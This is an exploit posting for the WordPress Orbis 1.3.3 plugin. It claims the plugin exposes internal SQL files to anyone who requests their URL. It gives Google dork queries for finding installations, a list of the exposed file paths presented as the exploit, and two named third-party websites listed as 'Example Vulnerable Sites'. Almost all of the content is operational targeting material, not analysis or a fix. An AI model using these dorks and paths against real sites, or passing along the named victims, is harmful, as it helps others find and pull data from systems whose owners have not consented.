WordPress Orbis plugin version 1.3.3 suffers from a database disclosure vulnerability.
af72e17a203a8d3c94889c151a53cccc#################################################################################################
# Exploit Title : WordPress Orbis Plugins 1.3.3 Pronamic Database Backup
Disclosure
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security
Army
# Date : 06/12/2018
# Vendor Homepage : pronamic.eu ~ wordpress.org/plugins/orbis/
# Software Download Link : downloads.wordpress.org/plugin/orbis.1.3.3.zip
+ github.com/wp-plugins/orbis/archive/master.zip
# Tested On : Windows and Linux
# Category : WebApps
# Version Information : 1.3.3
# Exploit Risk : Medium
# Google Dorks : inurl:''/wp-content/plugins/orbis/''
+ intext:''Designed by Stephan Medhurst''
# Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access
Controls ]
CWE-23 - [ Relative Path Traversal ] - CWE-200 [ Information Exposure ]
CWE-530 [ Exposure of Backup File to an Unauthorized Control Sphere ]
#################################################################################################
# Admin Panel Login Path :
/wp-login.php
# Exploit :
/wordpress/wp-content/plugins/orbis/includes/sql/orbis-company-fix-empty-date.sql
/wp-content/plugins/orbis/includes/sql/orbis-company-fix-empty-date.sql
/wp-content/plugins/orbis/includes/sql/orbis-company-date-sync.sql
/wp-content/plugins/orbis/includes/sql/orbis-company-id-to-meta.sql
/wp-content/plugins/orbis/includes/sql/orbis-company-kvk-to-meta.sql
/wp-content/plugins/orbis/includes/sql/orbis-domain-names-month.sql
/wp-content/plugins/orbis/includes/sql/select-cumulative-hours-per-project.sql
/wp-content/plugins/orbis/includes/sql/select-orbis-company-no-date.sql
/wp-content/plugins/orbis/includes/sql/set-default-ebilling.sql
#################################################################################################
# Example Vulnerable Sites =>
[+]
nimiche.com/wordpress/wp-content/plugins/orbis/includes/sql/orbis-company-fix-empty-date.sql
[+]
stonedintonhartwell.com/wp-content/plugins/orbis/includes/sql/orbis-company-date-sync.sql
#################################################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
#################################################################################################